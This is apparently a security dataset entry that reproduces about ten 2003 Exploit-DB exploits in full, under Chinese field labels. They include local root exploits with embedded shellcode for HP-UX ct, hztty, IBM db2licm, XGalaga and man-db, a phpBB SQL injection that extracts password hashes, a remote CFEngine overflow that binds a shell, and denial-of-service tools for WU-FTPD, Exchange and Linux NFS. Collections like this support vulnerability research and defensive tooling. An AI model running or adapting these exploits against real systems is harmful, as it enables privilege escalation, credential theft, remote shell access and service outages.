QLWD/code_shield huggingface dataset:
标题: HP-UX B11.11 - '/usr/bin/ct' Format String Privilege Escalation EDB-ID: 134 CVE: 2003-0090 类型: LOCAL 平台: HP-UX 发布日期: 2003-12-16 漏洞利用脚本: /*******************************************************************************
*  File    : x_hp-ux11i_nls_ct.c
*  Usage   : cc x_hp-ux11i_nls_ct.c -o x_ct ; ./x_ct
*  Purpose : Get a local rootshell from /usr/bin/ct,using HP-UX location language format string bug.
*  Author  : watercloud xfocus org 
*  Tested  : On HP-UX B11.11 .
******************************************************************************/


#include<stdio.h>

#define PATH "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin"
#define TERM "TERM=xterm"
#define NLSPATH "NLSPATH=/tmp/.ex.cat"

#define CMD  "/usr/bin/ct abc_ "
#define MSG "\$set 1\n1128 "
#define PRT_ARG_NUM 2    
#define STACK_LEN 0x180  

#define ENV_BEGIN 0x40   
#define ENV_LEN   0x40  
#define LOW_STACK 0x210  

char buffer[512];
char buff[72]=
  "\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08"
  "\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
  "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
  "/bin/shA";
int * pint = (int *) &buff[56];
unsigned int haddr = 0;      
unsigned int dstaddr = 0;    

int main(argc,argv,env)
int argc;char ** argv;char **env;
{
    unsigned int * pa = (unsigned int*)env;
    FILE * fp = NULL;
    int xnum = (LOW_STACK - ENV_BEGIN + STACK_LEN -56 -12 -36 -PRT_ARG_NUM*4)/4;  

    int alig1= ENV_BEGIN - xnum*8;
    int alig2=0;
    int i=0;

    while(*pa != NULL)    
        *pa++=0;
    
    if(strlen(CMD) >ENV_BEGIN-3)
    {
        printf("No enough space to alig our env!\n");
        exit(1);
    }

 printf("Exploite for HP-UX 11i NLS format bug by command ct.\n");
 printf("From watercloud@xfocus.org.  2003-1-4\n");
 printf("   Site : http://www.xfocus.net (CN).\n");
 printf("   Site : http://www.xfocus.org (EN).\n");


    haddr = (unsigned int)&fp & 0xffff0000;
    if(alig1 < 0)
      alig1+=0x10000;
    alig2 = (haddr >> 16) - alig1 -xnum*8 ;
    if(alig2 < 0)
      alig2+=0x10000;

    dstaddr= haddr+ LOW_STACK + STACK_LEN -24;  
    *pint++=dstaddr;
    *pint++=dstaddr;
    *pint++=dstaddr;
    *pint = 0;
    
    /* begin to make our .cat file */
    fp = fopen("/tmp/.ex.k","w");
    if(fp == NULL)
    {
      printf("open file : /tmp/.ex.k for write error.\n");
      exit(1);
    }
    fprintf(fp,"%s",MSG);
    for(;i<xnum;i++)
      fprintf(fp,"%%.8x");
    fprintf(fp,"%%.%ix%%n",alig1);
    fprintf(fp,"%%.%ix%%hn",alig2);
    fclose(fp);
    fp = NULL;
    system("/usr/bin/gencat /tmp/.ex.cat /tmp/.ex.k");
    unlink("/tmp/.ex.k");


    sprintf(buffer,"TZ=%*s%s%*s",ENV_BEGIN-3-strlen(CMD),"A",buff,ENV_BEGIN+ENV_LEN-strlen(buff),"B");
    putenv(buffer);
    putenv(PATH);
    putenv(TERM);
    putenv(NLSPATH);
    
    printf("¼ÇµÃÉ¾³ýÕâ¸öÁÙÊ±ÎÄ¼þ(Remember to delete the  file): /tmp/.ex.cat .\n");
    execl("/usr/bin/ct","/usr/bin/ct","abc_",0);   /* ºÃÏ·¿ªÊ¼ÁË £º£©  */
} 


// milw0rm.com [2003-12-16] URL: https://www.exploit-db.com/exploits/134
标题: phpBB 2.0.6 - 'search_id' SQL Injection / MD5 Hash EDB-ID: 137 CVE: 2003-1216 类型: WEBAPPS 平台: PHP 发布日期: 2003-12-21 漏洞利用脚本: #!/usr/bin/perl -w
use IO::Socket;
##    PROOF-OF-CONCEPT
##    * work only with mysql ver > 4.0
##    * work only with post #1 
##
##    Example:
##    C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
##    [~] prepare to connect...
##    [+] connected
##    [~] prepare to send data...
##    [+] OK
##    [~] wait for response...
##    [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
##
if (@ARGV < 4)
{
print "\n\n";
print "|****************************************************************|\n";
print " r57phpbb.pl\n";
print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n";
print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
print " [~] <server> - server ip\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print " [~] <search_id> - play with this value for results\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}
$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
$search_id = $ARGV[3];
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print "[+] connected\n";
print "[~] prepare to send data...\n";
# PROOF-OF-CONCEPT reguest...
print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat
(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,
116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,
97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,
105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34)
,user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,
59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,
59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,
58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,
104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/*
HTTP/1.0\r\n\r\n";
print "[+] OK\n";
print "[~] wait for response...\n";
while ($answer = <$socket>)
{
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&amp/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
}
}
if ($success==0) {print "[-] exploit failed =(\n";}
## o---[ RusH security team | www.rsteam.ru | 2003 ]---o


# milw0rm.com [2003-12-21] URL: https://www.exploit-db.com/exploits/137
标题: WU-FTPD 2.6.2 - 'wuftpd-freezer.c' Remote Denial of Service EDB-ID: 115 CVE: 2003-0854 类型: DOS 平台: LINUX 发布日期: 2003-10-31 漏洞利用脚本: /*
*   (c) Rosiello Security
*
* Copyright Rosiello Security 2003
*  All Rights reserved.
*
* Tested on Red Hat 9.0
*
* Author: Angelo Rosiello
* Mail : angelo rosiello org
* This software is only for educational purpose.
* Do not use it against machines different from yours.
* Respect law.
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

void addr_initialize( );
void usage( );

int main( int argc, char **argv )
{
 int i, sd, PORT, loop, error;
 char user[30], password[30], ch;
 struct sockaddr_in server_addr;

 fprintf( stdout, "\n(c) Rosiello Security 2003\n" );
 fprintf( stdout, "http://www.rosiello.org\n" );
 fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" );

 if( argc != 6 ) usage( argv[0] );

 if( strlen( argv[3] ) > 20 ) exit( 0 );
 if( strlen( argv[4] ) > 20 ) exit( 0 );

 sprintf( user, "USER %s\n", argv[3] );
 sprintf( password, "PASS %s\n", argv[4] );

 PORT = atoi( argv[2] );
 loop = atoi( argv[5] );

 addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));
 sd = socket( AF_INET, SOCK_STREAM, 0 );

 error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr ));
 if( error != 0 )
 {
  perror( "Something wrong with the connection" );
  exit( 0 );
 }

 while ( ch != '\n' )
 {
  recv( sd, &ch, 1, 0);
  printf("%c", ch );
 }

 ch = '\0';

 printf( "Connection executed, now waiting to log in...\n" );

 printf( "%s", user );

 send( sd, user, strlen( user ), 0 );
 while ( ch != '\n' )
 {
  recv( sd, &ch, 1, 0);
  printf("%c", ch );
 }
 printf( "%s", password );

 ch = '\0';

 send( sd, password, strlen( password ), 0 );
 while ( ch != '\n' )
 {
  recv( sd, &ch, 1, 0);
  printf("%c", ch );
 }

 printf( "Sending the DoS query\n" );
 for( i=0; i<loop; i++ )
 {
  write( sd, "LIST -w 1000000 -C\n", 19 );
 }
 printf( "All done\n" );
 close( sd );
 return 0;
}

void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
 address -> sin_family = AF_INET;
 address -> sin_port = htons((u_short)port);
 address -> sin_addr.s_addr = IPaddr;
}

void usage( char *program )
{
 fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", program);
 exit(0);
}


// milw0rm.com [2003-10-31] URL: https://www.exploit-db.com/exploits/115
标题: Microsoft Exchange Server 2000 - XEXCH50 Heap Overflow (PoC) (MS03-046) EDB-ID: 113 CVE: 2003-0714 类型: DOS 平台: WINDOWS 发布日期: 2003-10-22 漏洞利用脚本: #!/usr/bin/perl -w
##################

##
# ms03-046.pl - hdm metasploit com
# This vulnerability allows a remote unauthenticated user to overwrite big chunks 
# of the heap used by the inetinfo.exe process. Reliably exploiting this bug is 
# non-trivial; even though the entire buffer is binary safe (even nulls) and can be 
# just about any size, the actual code that crashes varies widely with each request. 
# During the analysis process, numerous combinations of request size, concurrent 
# requests, pre-allocations, and alternate trigger routes were examined and not a 
# single duplicate of location and data offset was discovered. Hopefully the magic 
# combination of data, size, and setup will be found to allow this bug to be reliably 
# exploited.

# minor bugfix: look for 354 Send binary data

use strict;
use IO::Socket;

my $host = shift() || usage();
my $mode = shift() || "CHECK";
my $port = 25;


if (uc($mode) eq "CHECK") { check() }
if (uc($mode) eq "CRASH") { crash() }

usage();


sub check
{
    my $s = SMTP($host, $port);
    if (! $s)
    {
        print "[*] Error establishing connection to SMTP service.\n";
        exit(0);
    }

    print $s "XEXCH50 2 2\r\n";
    my $res = <$s>;    
    close ($s);

    # a patched server only allows XEXCH50 after NTLM authentication
    if ($res !~ /354 Send binary/i)
    {
        print "[*] This server has been patched or is not vulnerable.\n";
        exit(0);
    }

    print "[*] This system is vulnerable: $host:$port\n";

    exit(0);
}


sub crash
{
    my $s = SMTP($host, $port);
    if (! $s)
    {
        print "[*] Error establishing connection to SMTP service.\n";
        exit(0);
    }

    # the negative value allows us to overwrite random heap bits
    print $s "XEXCH50 -1 2\r\n";
    my $res = <$s>;    

    # a patched server only allows XEXCH50 after NTLM authentication
    if ($res !~ /354 Send binary/i)
    {
        print "[*] This server has been patched or is not vulnerable.\n";
        exit(0);
    }

    print "[*] Sending massive heap-smashing string...\n";
    print $s ("META" x 16384);

    # sometimes a second connection is required to trigger the crash
    $s = SMTP($host, $port);

    exit(0);
}


sub usage 
{
    print STDERR "Usage: $0 <host> [CHECK|CRASH]\n";
    exit(0);

}

sub SMTP
{
    my ($host, $port) = @_;
    my $s = IO::Socket::INET->new
    (
        PeerAddr => $host,
        PeerPort => $port,
        Proto    => "tcp"
    ) || return(undef);

    my $r = <$s>;
    return undef if !$r;
    
    if ($r !~ /Microsoft/)
    {
        chomp($r);
        print STDERR "[*] This does not look like an exchange server: $r\n";
        return(undef);
    }
    
    print $s "HELO X\r\n";
    $r = <$s>;
    return undef if !$r;   

    print $s "MAIL FROM: DoS\r\n";
    $r = <$s>;
    return undef if !$r;
    
    print $s "RCPT TO: Administrator\r\n";
    $r = <$s>;
    return undef if !$r;
    
    return($s); 
}


# milw0rm.com [2003-10-22] URL: https://www.exploit-db.com/exploits/113
标题: hztty 2.0 (RedHat 9.0) - Local Privilege Escalation EDB-ID: 104 CVE: 2003-0783 类型: LOCAL 平台: LINUX 发布日期: 2003-09-21 漏洞利用脚本: /*  0x333hztty => hztty 2.0 local root exploit
 *
 *
 * more info : Debian Security Advisory DSA 385-1
 *
 * *note* I adjusted some part of hztty's code since
 * there were some errors. hope this will not influence
 * exploitation :> tested against Red Hat 9.0 :
 *
 * [c0wboy@0x333 c0wboy]$ gcc 0x333hztty.c -o k
 * [c0wboy@0x333 c0wboy]$ ./k
 *
 *  ---  local root exploit for hztty 2.0  ---
 *  ---  coded by c0wboy ~ 0x33  ---
 * 
 * sh-2.05b# [./hztty started]  [using /dev/ttyp6]
 * sh-2.05b$ sh-2.05b# uid=0(root) gid=0(root) groups=500(c0wboy)
 * sh-2.05b#
 *
 *  coded by c0wboy 
 *
 *  (c) 0x333 Outsiders Security Labs
 *
 */

#include <stdio.h>
#include <unistd.h>

#define BIN    "./hztty"
#define SIZE   272


unsigned char shellcode[] =
 "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8"
 "\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
 "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
 "\xd2\xb0\x0b\xcd\x80" ;

int main()
{
 int i;
 char out[SIZE];
 char *own[] = { shellcode, 0x0 };

 int *hztty = (int *)(out);
 int ret = 0xbffffffa - strlen(BIN) - strlen(shellcode);

 for (i=0 ; i<SIZE-1 ; i+=4)
  *hztty++ = ret;

 hztty = 0x0;

 fprintf (stdout, "\n ---  local root exploit for hztty 2.0  ---\n");
 fprintf (stdout, " ---  coded by c0wboy ~ www.0x333.org   ---\n\n");

 execle (BIN, BIN, "-I", out, 0x0, own, 0x0);
}


// milw0rm.com [2003-09-21] URL: https://www.exploit-db.com/exploits/104
标题: GNU CFEngine 2.-2.0.3 - Remote Stack Overflow EDB-ID: 105 CVE: 2003-0849 类型: REMOTE 平台: BSD 发布日期: 2003-09-27 漏洞利用脚本: #!/usr/bin/perl -s
# kokaninATdtors.net / cfengine2-2.0.3 from freebsd ports 26/sep/2003.
# forking portbind shellcode port=0xb0ef(45295) by eSDee
# bug discovered by nick cleaton, tested on FreeBSD 4.8-RELEASE

use IO::Socket;
if(!$ARGV[1])
{ print "usage: ./DSR-cfengine.pl <host> <port> (default cfengine is 5308)\n"; exit(-1); }

$host = $ARGV[0];
$port = $ARGV[1];
$nop = "\x90";
$ret = pack("l",0xbfafe3dc);
$shellcode = 
"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0".
"\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02".
"\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80".
"\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57".
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89".
"\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50".
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80".
"\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56".
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd".
"\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f".
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b".
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80".
"\xeb\x9a";


$buf = $nop x 2222 . $shellcode . $ret x 500;

$socket = new IO::Socket::INET ( 
Proto  => "tcp",
PeerAddr => $host,
PeerPort => $port, 
);

die "unable to connect to $host:$port ($!)\n" unless $socket;

sleep(1); #you might have to adjust this on slow connections
print $socket $buf;

close($socket);


# milw0rm.com [2003-09-27] URL: https://www.exploit-db.com/exploits/105
标题: IBM DB2 - Universal Database 7.2 'db2licm' Local Overflow EDB-ID: 106 CVE: 2003-0759 类型: LOCAL 平台: LINUX 发布日期: 2003-09-27 漏洞利用脚本: /* 
 Local Exploit for db2licm 
 IBM db2 v 7.1 Linux/x86 

 vulnerability researched by 
 Juan Manuel Pascual Escriba
 pask at uninet.edu


 */



char sc[]=
"\x31\xc0"      /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"

"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";


#define STACK_TOP_X86 0xC0000000
#define ALG_MASK 0xfffffff4
#define ADDR 1000
#define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"

#define DFL_ALG 4       

int main(int arc, char **arv){
        char *argv[3];
        char *envp[2];
        unsigned long sc_address, ba=0;
        unsigned char alg = DFL_ALG;
        unsigned long *p;
        unsigned char *q;
        unsigned int i;



        sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;
        printf("shellcode address = 0x%X\n",sc_address);


        if( (sc_address & ALG_MASK) != sc_address ) {
                ba = sc_address - (sc_address & ALG_MASK);
                printf("adding %d trailing bytes to backward align Shellcode to 0x%X\n", ba,
sc_address & ALG_MASK);
                sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - ba - 1;
                printf("new shellcode address = 0x%X\n",sc_address);
        }

        envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
        q = envp[0];
        strcpy(q,"pete=");
        q += strlen("pete=");
        memcpy(q,sc,sizeof(sc));
        q += sizeof(sc)-1;
        memset(q,'A',ba);
        q += ba;
        *q = 0;
        envp[1] = 0;

        /* build overflowing arvg[2] */


        printf("using alignment = %d in overflow buffer\n",alg);

        argv[0] = DB2LICM;
 argv[1] = "-a";
        argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);
        memset(argv[2],'A',alg);
        p=(unsigned long*)(argv[2]+alg);
        for(i=0;i<ADDR;i++) {
                *p = sc_address;
                p++;
        };
        *p = 0;
        argv[3] = 0; 

        printf("executing %s ...\n\n",argv[0]);
        execve(argv[0],argv,envp); 


}

// milw0rm.com [2003-09-27] URL: https://www.exploit-db.com/exploits/106
标题: man-db 2.4.1 - 'open_cat_stream()' Local uid=man EDB-ID: 75 CVE: 2003-0645 类型: LOCAL 平台: LINUX 发布日期: 2003-08-06 漏洞利用脚本: #!/bin/bash
# xmandb.sh: shell command file.
#
# man-db[v2.4.1-]: local uid=man exploit.
# by: vade79/v9 v9 fakehalo deadpig org (fakehalo)
#
# open_cat_stream() privileged call exploit.
#
# i've been conversing with the new man-db maintainer, and after the
# initial post sent to bugtraq(which i forgot to inform him), i sent him
# an email highlighting another vulnerability i forgot to mention in the
# original advisory.
#
# once he checked it out, he noticed that the routine never dropped
# privileges before/after the potential buffer/elemental overflow occured,
# and executed the (user defined) "compressor" binary.  making it
# pointless to exploit this via the overflow method, and all-purpose to
# exploit this via the privileged execve() call method.
#
# best of luck to the new maintainer(Colin Watson<cjwatson debian org>),
# he noticed it before i did, so he's on the right track. :)
#
# example:
#  [v9@localhost v9]$ id
#  uid=500(v9) gid=500(v9) groups=500(v9)
#  [v9@localhost v9]$ ./xmandb.sh
#  [*] making fake manpage directories/files...
#  [*] making runme, and mansh source files...
#  [*] compiling runme source...
#  [*] setting "compressor" to: /tmp/runme...
#  [*] executing man-db/man...
#  [*] cleaning up files...
#  [*] success, entering shell.
#  -rws--x---    1 man      v9          13963 Jun 13 20:09 /tmp/mansh
#  sh-2.04$ id
#  uid=15(man) gid=500(v9) groups=500(v9)
#  sh-2.04$ 
#
# (tested on redhat7.1, from src, should work out of the box everywhere)

MANBIN=/usr/bin/man
MANDIR=man_x
TMPDIR=/tmp
echo "man-db[v2.4.1-]: local uid=man exploit."
echo -e "by: vade79/v9 v9 fakehalo deadpig org (fakehalo)\n"
if [ ! "`$MANBIN -V 2>/dev/null`" ]
then
 echo "[!] \"$MANBIN\" does not appear to be man-db, failed."
 exit
fi
umask 002
cd $TMPDIR
echo "[*] making fake manpage directories/files..."
mkdir $MANDIR ${MANDIR}/man1 ${MANDIR}/cat1
touch ${MANDIR}/man1/x.1
echo "[*] making runme, and mansh source files..."
cat <<EOF>runme.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(int argc,char **argv){
 setreuid(geteuid(),geteuid());
 system("cc ${TMPDIR}/mansh.c -o ${TMPDIR}/mansh");
 chmod("${TMPDIR}/mansh",S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
 unlink(argv[0]);
 exit(0);
}
EOF
cat <<EOF>mansh.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
 setreuid(geteuid(),geteuid());
 execl("/bin/sh","sh",0);
 exit(0);
}
EOF
echo "[*] compiling runme source..."
cc runme.c -o runme
echo "[*] setting \"compressor\" to: ${TMPDIR}/runme..."
echo "DEFINE compressor ${TMPDIR}/runme">~/.manpath
echo "[*] executing man-db/man..."
$MANBIN -M ${TMPDIR}/$MANDIR -P /bin/true x 1>/dev/null 2>&1
echo "[*] cleaning up files..."
rm -rf $MANDIR mansh.c runme.c runme ~/.manpath
if test -u "${TMPDIR}/mansh"
then
 echo "[*] success, entering shell."
 ls -l ${TMPDIR}/mansh
 ${TMPDIR}/mansh
else
 echo "[!] exploit failed."
 rm -rf ${TMPDIR}/mansh
fi
exit


// milw0rm.com [2003-08-06] URL: https://www.exploit-db.com/exploits/75
标题: XGalaga 2.0.34 (RedHat 9.0) - Local Game EDB-ID: 71 CVE: 2003-0454 类型: LOCAL 平台: LINUX 发布日期: 2003-07-31 漏洞利用脚本: /* 0x333xgalaga => XGalaga 2.0.34 local game exploit (Red Hat 9.0)
*
* tested against xgalaga-2.0.34-1.i386.rpm
* under Red Hat Linux 9.0
*
* - bug found by Steve Kemp
* - exploit coded by c0wboy @ 0x333
*
* (c) 0x333 Outsider Security Labs / www.0x333.org
*
*/


#include <stdio.h>
#include <string.h>
#include <unistd.h>


#define BIN "/usr/X11R6/bin/xgalaga"
#define SIZE 264

#define RET 0xbffffe2c /* tested against Red Hat Linux 9.0 */
#define NOP 0x90


unsigned char shellcode[] =

/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"

/* exec /bin/sh shellcode */

"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


void banner (void);
void memret (char *, int, int, int);


void banner (void)
{
fprintf (stdout, "\n\n --- xgalaga local GAME exploit by c0wboy ---\n");
fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---\n\n");
}


void memret (char *buffer, int ret, int size, int align)
{
int i;
int * ptr = (int *) (buffer + align);

for (i=0; i<size; i+=4)
*ptr++ = ret;

ptr = 0x0;
}


int main ()
{
int ret = RET;
char out[SIZE];

memret ((char *)out, ret, SIZE-1, 0);

memset ((char *)out, NOP, 33);
memcpy ((char *)out+33, shellcode, strlen(shellcode));

setenv ("HOME", out, 1);

banner ();
execl (BIN, BIN, "-scores", 0x0); // the switch "-scores" is necessary to exploit the game
}

// milw0rm.com [2003-07-31] URL: https://www.exploit-db.com/exploits/71
标题: Linux Kernel 2.4.20 - 'decode_fh' Denial of Service EDB-ID: 68 CVE: 2003-0619 类型: DOS 平台: LINUX 发布日期: 2003-07-29 漏洞利用脚本: /*
  Linux 2.4.20 knfsd kernel signed/unsigned decode_fh DoS
  Author: jared stanbrough <jareds pdx edu> 
  
  Vulnerable code: (fs/nfsd/nfs3xdr.c line 52-64)

  static inline u32 *
  decode_fh(u32 *p, struct svc_fh *fhp)
  {
        int size;
        fh_init(fhp, NFS3_FHSIZE);
        size = ntohl(*p++);
        if (size > NFS3_FHSIZE)
                return NULL;   

        memcpy(&fhp->fh_handle.fh_base, p, size);
        fhp->fh_handle.fh_size = size;
        return p + XDR_QUADLEN(size);
  }

  This code is called by quite a few XDR decoding routines. The below
  POC demonstrates the vulnerability by encoding a malicious fhsize
  at the beginning of a diroparg xdr argument. 
 
  To test this, the vulnerable host must have an accessible exported
  directory which was previously mounted by the attacker. _HOWEVER_ 
  it may be possible to trigger this bug by some other method.

  Fix: Simply change size to an unsigned int, or check for size < 0.
*/

#include <rpcsvc/nfs_prot.h>
#include <rpc/rpc.h>
#include <rpc/xdr.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

#define NFSPROG 100003
#define NFSVERS 3
#define NFSPROC_GETATTR 1

static struct diropargs heh;

bool_t xdr_heh(XDR *xdrs, diropargs *heh) 
{
  int32_t werd = -1; 
  return xdr_int32_t(xdrs, &werd);
}

int main(void)
{
  CLIENT * client;
  struct timeval tv;

  client = clnt_create("marduk", NFSPROG, NFSVERS, "udp");
  
  if(client == NULL) {
      perror("clnt_create\n");
  }

  tv.tv_sec = 3;
  tv.tv_usec = 0;
  client->cl_auth = authunix_create_default();

  clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh,
            (xdrproc_t) xdr_void, NULL, tv);

  return 0;
}

// milw0rm.com [2003-07-29] URL: https://www.exploit-db.com/exploits/68